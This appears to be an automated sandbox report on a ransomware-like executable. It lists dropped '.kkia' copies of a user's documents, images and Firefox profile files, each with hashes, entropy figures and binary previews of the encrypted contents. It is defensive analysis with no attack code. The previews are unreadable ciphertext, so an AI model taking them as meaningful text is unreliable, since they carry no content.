Preview:	QCOIL...89...Z.h .....B...=...[t.....`.1..7.K..j.z..ng.A5..-$."....`.@.M.7\...'.n.Z.J.`.....8..g~...8..x4J....J..7?...5Mj.-.iH.~.).ou...+...d.$....8.Y..w,.H.._. .0....'@Z.r..jy.L.'[U....'...G.+x[.=88....R.g.m5....\|`6...$..\...nA^._..L........<..y.......D....P.$..8R.;[.....m.G.^....d...L.2c......&..........b..+}.c.7......c..D....G......r~E_.:#.dTM...........1.t...t...X..+`0.....f...7.~Jc..P....k....1...Qn.m`......s.:...uJ.\|.q.L..{....7..=o....w..wa/..............f...\|_.q..A.u..{Ty.DtpG.....R.K...@.L...Wk..e..zy.R.0...k6..d!..3p..-.l...v..M..k..v2.n.w...wHa)JP.thF~XbS%u...G.l,....G.Jd..........]d.$...(....[.Wx........q.mu.....g..zr.W......^d.3#.....,.'JAhs.h.}..A'.}.,..r.lxoYB&... ...*.@......h.u..#...y..........3.@.4.R..."6..-.`....>.....7..l.I...._..\i$.....iM.......~..X.U$P..\|.n.m.2...a.B..{Y..CC...O..~...2...\......f-#...." ..~...L26t$.YE.%X.3...p... ].$...{...2.W......b..8....6........~.].c..b....N..!....>..W> %.....S

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCOILOQIKC.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84551154422843
Encrypted:	false
SSDEEP:	24:dUp4syh/KcqqmUQ7pg5YreJ0bQyqZEMQgBe92i+VXcudi+I0cXlOBteGfobcaxqn:dUqXZ50UQSyKJ8Q/EMBEuY+I0qQBteGz
MD5:	CA0B797A14F6BB7E8B924A840FB5776C
SHA1:	D192C40E13F7EA17C5E19FD1500709EE885A501A
SHA-256:	544FC6B81E973FE993A12AB39A144A3F56CB1FD6C45BA38D468097388EBF0B6D
SHA-512:	25231E7EB65986DB6416E1B271A18ECE1B246510F14B9A24370DBAD04A85DA5F0207FEAA15F4965710CD9D8F1FAA23FCA9ABB730201D3D284C6FEB4833E4AAC3
Malicious:	false
Preview:	QCOIL..y.9qn9\.&....C.-'..>..ubeW"j......Fvx>..!E.s.v.....}..K.%Hh=..."..."o#...np...<`.g6.....,M.O..].m..< ..V5(4...3...Y$M&.)..'i..C..5......y...3j...5.G.R.L:.....-.QJ..0..Y..,.j.U.Z.........~v...o...o.R....kC.......G-h....\... .G...i..H`...:...)....d..M]....'f..S..O.........V..`.+=....k.sZG....d............0.q..7.L...A.['\....&.+..{r.....X..X..........;.'.x.U.7..rn....#f._.0.kYPEj?.+.r....K.=b.>....Nv#....]".S..9l'..b.v......._..d..[......#/8...x....M.Ed...b.....].=.../.?SHo;..&..3,...H$.S.LJ.S.~..H\|.....n..w..u.. .T.,\.}.c....e.V%m._E....X...\~..<VV)=...SsY...Vv-.5....Q.Y..).....&1.p.b...Q.Cg_.p.(....u.=.E4v.z.`..Ys.......^...........~.........+.+....V;k.xMHsav.N......T.^#.Z%.^A..{....>..Iv..%...../.@1....K............_Q.=.b..S.D.Uo..<{........EC}.....5Y.,_..H....)W...Y)...\..eB..W'.!4.....f....NW@ (...di..C....?.l]..4.v.u.o.y....^K....M9e+\|A.C;.....g.X..v..E.@..F...(0u...S..;QKO.....!.6..h.!..C.... .$.D.....*&v....Q..

C:\Users\user\Application Data\Microsoft\Windows\Recent\SQSJKEBWDT.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852918926388854
Encrypted:	false
SSDEEP:	24:lKdwAAWE61ZULkqIxJP1PAAEsYBX80y1o64KrGwaLZSJPgkbD:kdEWE0ZUL9OJP1ozsYBsT+64EQ0JP9D
MD5:	FA5EB907F2283648A157CE87423FA346
SHA1:	270DC306FC1FD4458EF7792235EE3F1E889E766D
SHA-256:	71BB82D117523736123BE0091535192919F65607230BEB4828C6377F82322CF4
SHA-512:	E11BFBB53D1E83C3B60E26DE6CEDFFF39873D6F7ECDA559C2618FE95EAA698683A17B7696184AF11CD1AE4011CD34C925BACAE18F79873B17AFDB6D3241E2E02
Malicious:	false
Preview:	SQSJK^....8.v?0a=.\WR[z.....8M.em..2.q`.;K....,OT.~^iP+.D.W9...R. .2.G+.sAWSo.}...+...v."#.l..........'o..3S.........I.}..4L.7.u=.MW.N+b.O..!....g....L.MM...s...?.$..'.mvrS]..........Q..oF...9..C.qSmj.l..:o...b.1O..L./...n;..n.-......:N.g.......E.M...{IC...........;^....9.^...2.0...]......HYV...$..}.6.Ej.4t....v....[.f.\|...+.$^.f"R..W.DA.......E3\....,:.zD...Z7.zJp1.9.f.\|.. b...F...4&...............L.l/?.v...ah.1B0.5.I.......4 W.@.D...,".!.!....+j...P....E....]d.........d>9..6<...4...g }O.>3a\|.r...........Q........!Z=...P..o...>...\\|.V....\|~F...m.....r..u......80..JZ.d l.V....Ao.8s...g.n.z.$.6!.....{.......Y.Dm..?.............yU.>A.(D.7.![Q.,F).o..J....q4......~~s...E0..._.+.u../.`...X..i7........{........./?......a;.....o.E...g.H..Tj..&...Im.,..w.=..7.. .y.Pr..cw.KLA.....JR..i......2%1...\|..d...\|...c.s.{.#......P"..jm..Vi$(.[..n0.l.(F...eB.......Z%Q....u.j.}..\|XO.[.........~.5..3v.'..d....#.W.[....Ji..v&...%05...5.V.]I....

C:\Users\user\Application Data\Microsoft\Windows\Recent\SQSJKEBWDT.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851553784103046
Encrypted:	false
SSDEEP:	24:vGX+REx02r7fIOZCupfpm88VlM2uyjIMAk4X/tfvwcLOo3HUVN24tOs7d4PWr7kX:vGX+6XwOZCuxp1I0yjIXk2FXwcLXl4tC
MD5:	B06A2D589D4284EEABF5C9BC04A7F62F
SHA1:	D6B4BBF54CD3C5F5F1A6CF3D4145355722410E30
SHA-256:	FE6803ED54BCF4F21F46AEE78FA73C9DD503F8E03674EB57CA6AF743DF524ACB
SHA-512:	2FF862DFBB197E10CDEFEB0B745B3A8670F53B18CFED2FEE51085674B6AABF5FED9D5D7FB15828B2B6B3E1F8CF634840B8217CF9726D98C1623EFC6BDBC98841
Malicious:	false
Preview:	SQSJK.T...i.G...1%........@. ;.V.\.W...=.x.:.K.Y..?U6.H...........;(r2#)&.We.y...;x...9T..........~....i...f/...v.M5&.,.g..Q.......Z;."0...k...q....j>UyS..u..Q....c............6..t}...jLl.b\.$<.....?.E.H..6r...z"9...;..#.......tSU...^.L..7.y...s.hYS..h......A\|>.8M..`...IT...r4..{>...(I..J{.z6......Cw.....>0L.O]...#8..`J.....<b.j.!.4.S..("..q..N......%....tY....m..?I.~0_.0...^.~&.9.M..^k........."........I.@&.0o.i..;$.a..X.2>8.N...7C...Q..v$ol..[\|...9E..}.^...`......i.........3....e...]o-.........w.......b..0....#7...Ve...B.=.]X..,n J.....=........ xS..{....JZ#...3$....b..@..zZ..[.n.@`Y.I.}.....wH=:c..\|...^...d......$0.-. .....P...j.Q..C.m.'....c{`RoDK.\|..l...f8........B...w...#...!...R..i......v......`..j4...8.c.....;i^0Y;F...6.k-)t#..x-....y..\|.g......sR'7....uy(.....].Ml_bli.(..T...q..$..&x.9...T3g%...._..gedE6\..2.6..^..7..i...u\|+07.G#hw...._...8..7;.G.p.....[..x..?...L..g.".Q...<..p<.......T.o..&....H./.=..a..F.o..n...!..~.e....A. -FlT

C:\Users\user\Application Data\Microsoft\Windows\Recent\TQDFJHPUIU.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855964402335518
Encrypted:	false
SSDEEP:	24:VIzeeuGH2fwgcnq8e0w5ypNRI42zPfu5E7rXpXZoiOmkbD:oeeuGHK+e3s10CoZoiODD
MD5:	D3B716636EFD2480CECE440A98FCF820
SHA1:	BB389EAA170DA0061C0B74553E2FABB1C13118F2
SHA-256:	01252D60C9B8EAB022D9C7D1AD0AC60348D37DCEACE11501F2520AD70F66F250
SHA-512:	1B3662027246B0BB37A3B0CD838BB1D700DC1233240EC3C817E1A977465E90A9E6B423B6EC1F1068A69499ADCD8BCA7B9A19BB27A8AFBF6043AB561826D130B6
Malicious:	false
Preview:	TQDFJ..t0RqZ......s..g...I.Fnx9t.?._.L%...X.(.........D.v.I...{.&]..........4g..w.#<.k.....j......f.+....&..MEi..a.a.:.k;l.l.._....]...p..Q..H.-...?.XcS.U.h...M.A./...k"..Y.......<.E..$.^..b.cJ4.2I~_....O$5.}.PXu..JU.0T.......:...MY]..._.\|o'/.S...l..N.o..~.?..G1..6q.Q...........XD:u,%..Q#.!m~.c...IK.$.''....gF.bW.r]E..Sl...3u.xC.....V."&o. XE.....6i.....a...N.%.....".Ra.(.......j.z...<..h.\k....t....9R.....s..K..'...R.....S.Y....u ...h.4..E..W.f... .._.9{.....WY...~..+m.[.Z't._~...Pf.....jt......z....q=\.*...S.&...6.4.<"%...A......$.I.M..;..Nd........$(:<m...\.....4...Kd].qLc.DH...........5g...x.w.{@....K..f. `~.....U..7.......%F.`"r5.t...8(....y.........L.#.d........-n.../.\..O.......A..y .D.#.f{.....\.1..e_.\.P6ru.R...3.W..v..fT.<./.y......G..c<...LN.s[...0#..O...1.......n.<g"".. .....1o'.YiY\|.e(...8a..g.c.$......m%..1v..-.L.p.-~x.U.B.m.8,.....s:.M6.. ....z.\|.,.;...;...?b..7A...x.....S.^..k...D.7...=#....l.L.N:M..F.:.......0.......O

C:\Users\user\Application Data\Microsoft\Windows\Recent\UGRDPJQNNG.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848516507202298
Encrypted:	false
SSDEEP:	24:j1Z8OQ4lJmHxp0dE+JEhm5fUCwEQ3tb4UgIfmg/vUqTDB2S0EPg4tCIwxwU/emnH:j1iOvlSfW3vJ8CORNn7bg4ZjU4aD
MD5:	902FF944AB942F0CD449FF625CE8994E
SHA1:	4B397EF5347FFD644AF2814E576726C77765BFB9
SHA-256:	65C002A28AD8D9ED42E9DC29297FAD2CEC73509394804176228A6514870BA054
SHA-512:	9F0E61A9275967A1DF9525819F9E0BB775ADBED9AF02A4F767F6C2A6614B900BA56C510849C2B6BA4764796BB9186BE9397928550DCE39D487806A5E46721A09
Malicious:	false
Preview:	UGRDPK...A(....N._.M.l.d NAj....3.f..l.$1...;...-w.2A...U...;..O@7R.N..J.2/..(K.k....z....\|...b#..c.5..._.R......w.X..b....L...;.t.....4`..0..8.f.......D+75-..z(..3w.![...q......(~\.N.S...n..Z.F;&0.g.]/.k..,V.>. .,.......G._C..2...X{2H.?......).`.Sh..TD......4R7ER.......j...k....z[.%M....b..\|8R...ih...R..R!..x."....C..\|4\|..-n..i..S...0#)4....<>.,2%9.%.........h.z.......V.q.s.K(..Y..u&.....{$/...W:.d.p.t.f".........l....?..C...3.r\.{...W$..".W.:.........+..UJ.T4.....Bl..9.<a8.Fb..CZ.GJyG.W.z\H"iy....B..&..E.66..W$.<u..3.V....4.#\.........X...VU.2...9T.l..0...?...(d......wR..h...+g..k.[B.'j..[\v...I..9......s......H...^....?.P.$.b.=.'~.7.m4.s..}......sc.G.6*.C.y%.6......$"........y.[......I..A.).<..t.....I.D(T.tn.u6......^...eJ`}Ud....y....\....r:..#S$...).s;.i.....P.3.x.?.<n..M....;.O. +XSC...Q..H.A..l..[.a..c>..~.......N.#6...0....9l........k...MQ...:Sy.id..,.3+....8M^D.}..b..ekG.v...B+j..5?.=.....\|7j5..}..Y...%.....x.J....._`.2p.K..$6.J.......J

C:\Users\user\Application Data\Microsoft\Windows\Recent\UNKRLCVOHV.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853144024548164
Encrypted:	false
SSDEEP:	24:vw3h48tK5sA8YZtml30sHeWjdkLbINzvf+GE9dylbM+y8VBXXkbD:C48tSmlNjyLb2IXBGVBOD
MD5:	68EACACB214D7036DD8D9F08BC9FE639
SHA1:	C2E0A841678D6680E41773796380D61F2B231D16
SHA-256:	92D76D27E61A84D041D7C8217907D1689CBFB98F594254F64B6F03B96CE66D41
SHA-512:	303F0BA85530FE80F7828B02A3F715512FFF28925D77DFCECDB86546052EC2E0B248339548D80BDEB8CBEC0BB0AA9563BA0CD3BC6488A054DB9543E8EF46A426
Malicious:	false
Preview:	UNKRL..qx.P...%.BD.(......'...T..<T.K..9.]\|...A...G...a.e.!.tf;...OO[........C..;.....'...{&...cw !."..+y...u.3i.I.\|=..Q.:[b.t.-.=.....S..+..Ec.\.#........w.M ..].t.6..V(.[...A.\w..=....k)..C.K.U....`..T.........6.=Q.{.(.W.............FV...'.~.q.=....i..\|..i.;.6#........?....U.$r.f.tV. ..JS}o..gC.,D..D...Qk....\..Di.....^.......Fm.ip0Z.U[.#.5......9..\+....E...~..>_.......z..P.(\|g..+.....m.".y.f...#;.,..Z.82.6..../a.Y...5G...:.....7...Z;..~.M%.L.x.s..N%.S.}.p.s.9......X..j..h57.W.d.'.)`Z..'_.$...',s.B..G~h,.k....r..n.X-...r.#.v.Y.L.D....g`.W..:.[U..^.....5......+.j?..l..^...P..''.#..Hd...v7]...b&..>.....G..O[....Fyr.....U.E1[.N..y..B......3.....Z.}....\|aa..zw.....8_S........~..H....R.}../fk.E.C..v.10.wv..[....!.`Cm..6...x9.w3Gf.$../.hUG9a.8..........".G4.TGyW..9Z....u.[..@.....!..=}...`%Te..]....a].Ni..S..Sx."Vs.,.y.&....w..r!.*:...3.<.A.k..>.?..T.-..R..S...sa.MM.._..&..G.+C.....3Lk.+...3..,~-...F..s.......,......l.-...xd..l.......N)

C:\Users\user\Application Data\Microsoft\Windows\Recent\WMLMJASYOZ.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848697403894591
Encrypted:	false
SSDEEP:	24:BmoFcSwB2L+bqnmoU7V4h6B3R79Z7yKza51TTREHl7CtgDtxw+wdZkbD:BmoFbfmFpxVJL7yKfHl7CqtnjD
MD5:	959F3B068FBE47B7AD03F57027B131D2
SHA1:	699B76858D78AF263C88986C1938383AAE2B7880
SHA-256:	FFFDBAEBA23014CF3AD3702DDD6AF693EB9B383583F5EF74D8ECD5E87DA313C7
SHA-512:	A292E9FA6E7A75C5CC70E809BD330A80CB3EF809CB4A79C20BFD256AF633FD136507ABE8F13EB0E0F9988525352F64FC71B267553512449AFEAA5D9803460A99
Malicious:	false
Preview:	WMLMJ..... ...+UF..;d..[.=u.....cR..k.3.....M.3.+.......$R$0.....Aj..-,\..l....V>....y...,.^..O'...... {.@.X......C....]......y.-/.-...S.a.....SE...6."K4..7.X.=...o...C.....H.@J.iA..Y.Z...J3...l4.....~..e@....R..sd.._x..t..G....-.Lm.ETP.....<...(.......].F..8..8..l.<E...M.......G..r.q.. ..E2y.K..?.d..9.SE.C.."5.qzj..1t$.y.V....Bx..&......E.@.0.....x...0.K.j..Y......`..IH.J....f.,#n.).....u.a.n.8.v.....G....k....H65...A.%._t.\|9....U{&.$k.?......$l..V .e.D...u.9..{.gymve.l.)=.Z.........eB..7...T.TZ.pT......9F.jf.......>...Ar.x...._.....!..C..8..........wfy\|."...ec...'.Lw...L...M..$f\...z..#.EP...0..@..!........[5.............N...,.X._.)..7}p.WB.[{\^a..u....d...HP...l=...t...........x(.....b..r........'.8{.1...8#...y..S..c.p....S.hlfO.....1..3..\|.A..b @..B.g3..P.....f..T..`..F.]...........6..m..x...7uR.....L.T..O.....s............1.o.!HfM..?.,...........$.^.. ...W....^......0..p<..F...........v..A...)7.H..._..ur9Z.6u}..&.+3..........l

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZIPXYXWIOY.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846510913523942
Encrypted:	false
SSDEEP:	24:hZSaixIhs2kyZREUhOOgIilpiza1VVPmVgt5xpeBRR253m39kbD:TuIxkyPBOOgjlp1VdmVWx+RRyuMD
MD5:	D79D2C777DBDECCD9379B441197AFD7C
SHA1:	7921C569D3BD9F97C790192CEB680DC6731FB2A5
SHA-256:	B76ACF4F6B9887E12E4872CB40B593F613DE8F8A823DDB78B30D8560A35F49C3
SHA-512:	C7BDC511EA086ABF5E52D5EEF1514459FA16F7097FA44AF6932C8E2DE33A2F0BDE0AAC387DA3550C93C9E316D8CBEED8814F1625A08219EE9DCF33E1A48B491D
Malicious:	false
Preview:	ZIPXY.F7.e!...Y...(_d}..%VB^@..p...t.K.w.&.]..E{..U...1&Ri.r...h...=...Q.].....Gu:....tD/.x.....R..X.d.I..-.......R).f+p.....D...0...s.....l.VBx.]d....gz...f....3...$..e,..)l.IlU...y.K..... ...s.>......s.+._...I........`i...]\..S...1P..B.a....y..j..-2... ....G..$.2.i...52..C....v...-...C.9.q,m..YK..&9. .m.+...S..S....y.;_+......(H...m...]p.\|q3.A.l.d9.D..^.........e.nf3>...`.n..9..D!..J......B.x9.r..v....d....E.<.c.F.+..d.q..:cw.o..%....l.C&.."..yMv.....]../D.....RLm..3t..n.....A....T.B......4.Z.9J..5.y..G3.L........./..Rd.[......x....@=.=9.,#.,7...../A=.....r......~.z....d..T.U..O>.i.g.S.(.#z4Q .HK.y......:..q...m$.c......$.T...{.Z.....A...E...*...W.#...;....f..6..I...:......J&...9..'..E.. ..r...P.M).-q.>d.x...a{.......o...H4.<...m..<Z.M..E..v>..X..[....T...b.A..lN...I..P.Eb..ZHe.c.N...'.ZG..q...h.....i.4..s...g\|.......x..{$......}......[..b.>....o..guu-......n.a.....G..B......(...k......Yo.r..E?W.eb.8............."\.....6u.\|I...

C:\Users\user\Application Data\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	JPEG image data
Category:	dropped
Size (bytes):	68018
Entropy (8bit):	7.997225746499371
Encrypted:	true
SSDEEP:	1536:LpOFMkvOYv948z94UsHrDqmmNb2lLj4kSEXm+QOV8emk:LpA/Lvlz4rDqjNb2lf4kxXm+dfmk
MD5:	301CC5FA7C3FB8C7BE4371FFA6A9F783
SHA1:	F33FFC7542857A4412B2F56C70F17A1D682FE84B
SHA-256:	27651F6E65E48A84466FD6B02CA340E37022A629986FDC85723DAAF83F60F85A
SHA-512:	EF61DEA1A3B9172BECDFC92FE316612BFE687E9FB5E86D15E769C6D1ECCE0EF781F75EABA9F91E9D7519962FFF606C9A0579AE14230D234BE9A51B1676FABC46
Malicious:	true
Preview:	......W....b..2..3.H....P5......3.i.x.?+v....(..z..'}.I.j.xI.....]f..t.....w..n....e....x_.,u...,./.X...H:..&.....?.D.{5..5..@ad.5..^bbB\|...&._\|.`2RI.Q..G...X.$Q;.u..n..,{S.......JQ....;.A...y...\|..4.L."f.....o.r6.nOo;...ky7!yKH3.4oW..4{%V.m0...:...4.&X.a2.Pdl.M.R2..q2..%............q"g..P~..U.a......e.F..s.c...G`@P\..g..o....`W..)+.....z.&.=+I...;..-...B......d..^..D:...\/.^.d...,5gr.P...<....~.MEb.p.$............[\...F{.....u.~...:J...bL..wn@h..3..U...I..x.....e....~.....P......m.......5..0..-....N.y...G.V..a2.HTJC.....z}.3..<....L.y.tR-.#..i.....T...fj...u.#.r..P..2.QO..#.......I/u...I...P.?Y`k-.I..!x.Yd^..3.. ...FE...B...%....d.....5....EO!.........D8.e.....9...p..;s...0....xZ...~Q9...5m;:.........X.q.a.Bo.B..yX..n./.2.D\.J........U+........v,.b2..l".;.g.{5.r...'\|O.....F- .a$E3~~6.+b.M......D...E...lV7(...).D.-%9..:.$.9...x.rdt...l.z.U.)C."F....7f.....%<....y....,.e..*S.......T..G....B.T.5.&+L...1..U9%.:.5.?T.+.E...ag:c.....x5.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\AlternateServices.txt.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.726976625086937
Encrypted:	false
SSDEEP:	24:20B/a5Of+0HhpAwDHK4FybiWQBA4OGq+6dkbD:794Of+0Bp3jLwiDBsGq+TD
MD5:	13B5ECF84753F5C404E807BF6DBBEAA1
SHA1:	B5E3AFFAFC68658426ABE447D0BDD771E5A240E2
SHA-256:	636049C7D2C9912A6AC9A71CA0F1F0BC31A53E000338A2BF28FF469A7F53E4E0
SHA-512:	153E42035E2C1CBC09D263463EE6E8FD4EBA6D1ADE5DF28706DD28B06FAA57465726173C6D35E84983A68E0FB7B72A4D3D1AC74BFB164349BC797D815DC80FB6
Malicious:	false
Preview:	httpsG.yK.......&t....U..nD3...P.....B...g.......^........\|:...[.Dx..p.0!9...I.....O.}.y#..dz...S.jc..1&.8...}".q...m.Ya.W.W....i8.....q..=...A.<n..I.S........{...EP......h.:.qi.FC..Zi...q7.Q.....JpV)..wH.w3d.:j.&`...{4...:.e.Y.X..;, ...2.//.M..._.ny......)...F..c...\|.U....9.,..5.7.;9c^..v.......c...D...d_...0..s.k:..P..d......4U...O...c.v.%......u.\|.I.Q=.j......>.+.\..+:...#;.^5a.q...#_....n...z.A..-.... ...aW..jRW.T...Q..1..1w.>L.O..8..=@.N.Vp.......F..bh...V...ay..D].V....#cq..Q.....o./:......(.:<.>q...Y....l...=........X.E...(....".?}.T.VN\..O.............L..=.U...../.X.C...Y..{...2..&V.............O.E.....t..,C.C..N.....x..../..7#x9..gC........y;...{....9...JD.-7A..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\ExperimentStoreData.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3329
Entropy (8bit):	7.941936877255902
Encrypted:	false
SSDEEP:	96:A4gRtQyBXWp6xgW5VxMqXFglc0reBr2nYFHE2b85:AjvBXvGlNKJQYFHEZ5
MD5:	F0A620C8A0261C2737B53279DC04E783
SHA1:	AAD61B2AD74C78659D01E7FA36D2298FDC8416E7
SHA-256:	444A49149F00444198F76A2559F6A9D761BB70D59494510F19EAF6BA5A14C9BD
SHA-512:	7CB7D209A462C0175A503B4666491155CE43AB2AB7E7CC328661298A920853A6EA3842938BBBA2231D473A3244D72D96FB697727BA30E5AE7B5AE49F5E199F9F
Malicious:	false
Preview:	{"boo.zx7Dy..^=.sQ.RT#%..A%AI0R.i.G..dn)..-..]gU-..gj..L.....m...W.....8.qx..{..#G...c^.2....3+N..KY.@..G.Q..#.f..d.:.+Yd....LH..U.).K.?.k..m..]p.U.DhIV...F..'..z...@.cL_..../.)..(.....,..O.-;...;.#.......-R...x.ro.."..h'..&+....`..#Cu..(.s.....`.#..~(.N9..R....{@.....X4)......\|Q..()y.V4...b..@..qyc.4..\|...:%....93..~K..a...4.l.5...."#.id..^2....u......X...[.P{v...W.q.p..i}.....n!Bi.S..7...F=.:#..j..8$0..........6...9s^$a>..kl..0.N%2\..D`..g..O........!.58q..er:..RIcr.;..%....VP]m. m.......i.....,.U......p.<uX!/?3S.&..E.e3...4.#....v+So....s...b53..{I...-'.........0....-.mh2.[.......J#.M.g?..f..(y:....D..nV..i.....m0`mH.C......1.?....S~...c...?.1.}u..U..w.w......D..q..@.=NK.8B.$q.c......&.xB=.wH.G.f...Y.E....C.....".L.....W.7..w...L.\|!C.#..C..e.'r...P...j.."AQ.T.D9i...(6.[.{0>M..~..6...s.'...]. O]n.v.8.........<{_..:.....<.....a...8"..@.q.v3.]!.?...#%....z!5U*.....;.6,4m.....ZF.$....)....i.Y..oT.8~.u....g....9c......z.........#.....aP.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\SiteSecurityServiceState.txt.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.707029281599102
Encrypted:	false
SSDEEP:	12:9Uaim4QydtnqKmA7lHr03tHZjoSluE3C/ZpsARnHomE3OBsxOHDsDkRMU+4qTPrS:9bh4qKmEw3t9op+AA3xOHIkRd+4gkbD
MD5:	D42031CF638E88C417B1B4268F5E4EA9
SHA1:	28BED0D7BFBA39195BAEB00038B59792A59336C5
SHA-256:	FE39841E2E4320FF114514CCA33BDD5F7D5ACF9A1E4C9C81C7E3450797A62EFD
SHA-512:	A31041F9D174B127A75CD5EA5B86A694A568B0E63574B5837850175DDA61D8ACD2A32C8BB1DECAB08E52299A62C901B3014CF9D0485AA8B73908EDA757171DBB
Malicious:	false
Preview:	aus5.K8.e.3...h{.>....aIU.AJ6.@gY...~w{.b.z..........$.0.Q. #\|;.V..lLf4l2..........t..z..t.1..f...@.hi..Mm.=....k{..1Y.s\|.i.D.....6..k........x LeZ.P\.s....XgBT..Lq.w.Ae.'U....c..........\|=....X.\6u.W..T....!c...Z@K....b....yB.*....jF.:3.O.K.G.zy..0...G...4..z.p..iy..d}W.......[..m.(..^....p....C..p..........)..-..i(.,..Oni.D."\I.a.].)T6b''.......m..C...!.",.d..8._gz.4....5\.X46.....'.uGQ.q.....;.(..=.uM.u.."Z.."....t.%...a.jn=.{.=.e..oI.s......>....[-k\..k.Ib...y..M;=.)...K...+.......07...<...M.l.S.J.c..xz..C..G..(.p~~{m........`E=.%..:C....\|...,N]8}2.Z..0..G{.ui_..d...$kl..%[XM.]....8...FH..^.-....9.5.....t.T.M...:.&...%...O.....rx..3..O....:f-(f(Usg....4..."..J..C.P.9.L.......\G..JeI.....TQ...v...1...~.W3..8.....<q.n.....T..d..{H8..G,.ddYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\addonStartup.json.lz4.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5765
Entropy (8bit):	7.966488629327148
Encrypted:	false
SSDEEP:	96:F310bNtubk1L1h+SwxKMj8wtucOFfUjd7AVWspW0dXxrFqTolfgdPpql47hLnFVt:F2bNtBaxl4cyUh7AssXdqogRYl47ZnF3
MD5:	D52C0E7313EEB6A9642139AC7B69F79B
SHA1:	8883F08F37CAA95D5A9CE93F45C903D83A3AF969
SHA-256:	0E0F37DDA80513D1B15B7E3A244283BA39542041E993B4F3FC3F0A10072CFADA
SHA-512:	45F354941D91AA903B4CF3BDE6D33448106914E13D615A36CDA0EC179E00CD4499EAB7D44A7A042B2B5A704F1855E8D57E3AA2FF2732B662DCE7D9BAFC27033F
Malicious:	false
Preview:	mozLz.MR....I.....[.VmN..#...P._)..nDh..:.....Dm.WLDOSa...`[....KX....d..,.E......\|~..x+.<.;Y.V>.vp.....B.O.C......T.h.T.x.}.dy.....[u.<...,./Bl...}..Z..&......Y35-.}a%..q^.;....._.h...}..........q...ZL...m..'..B..J.g>..dWz..].....Bp..w4u........~...w.W.6....Cn,I.D..@....(..TR.d.P.....K...u.T..'.........h.....Y..8..e.....D..?N.....p?k......xD.....d~U.>5.......+.(......._u.....(.\|g......w!....w32.l...a.r...#[..g..........&2'&...=....6&.0....p.ltzK5j1.,...rUN......V...]Z......:....\|7....\:.2j.z\|c.}M.lFp/.....L.z.....Y..i...q...P....-......xIl....;1..#h.4e......g..99./..C#..$.*l.[.3..X..;..3..&l.........0.^T./.r...".XhRN......^G].}>&K..O..{.K L`} .......~.....i..C.;.m.....)..{t!.`..H0<n.z..u....%..;j..#.i`.... ..~......s.n..\|..R...[.L....:.{...\..{..xN...H>g./.R.........h...lL.2.K...gi.I..O.w..i.....D+.j.O}$.o...O[...1..n..Y3......L....."BK........R.~X,...-=.H;..J\|.V..d.j.{oEy....]....'..X.M....w.(...0.w.}.696...g...".T...!.f..

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\addons.json.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.296959468947748
Encrypted:	false
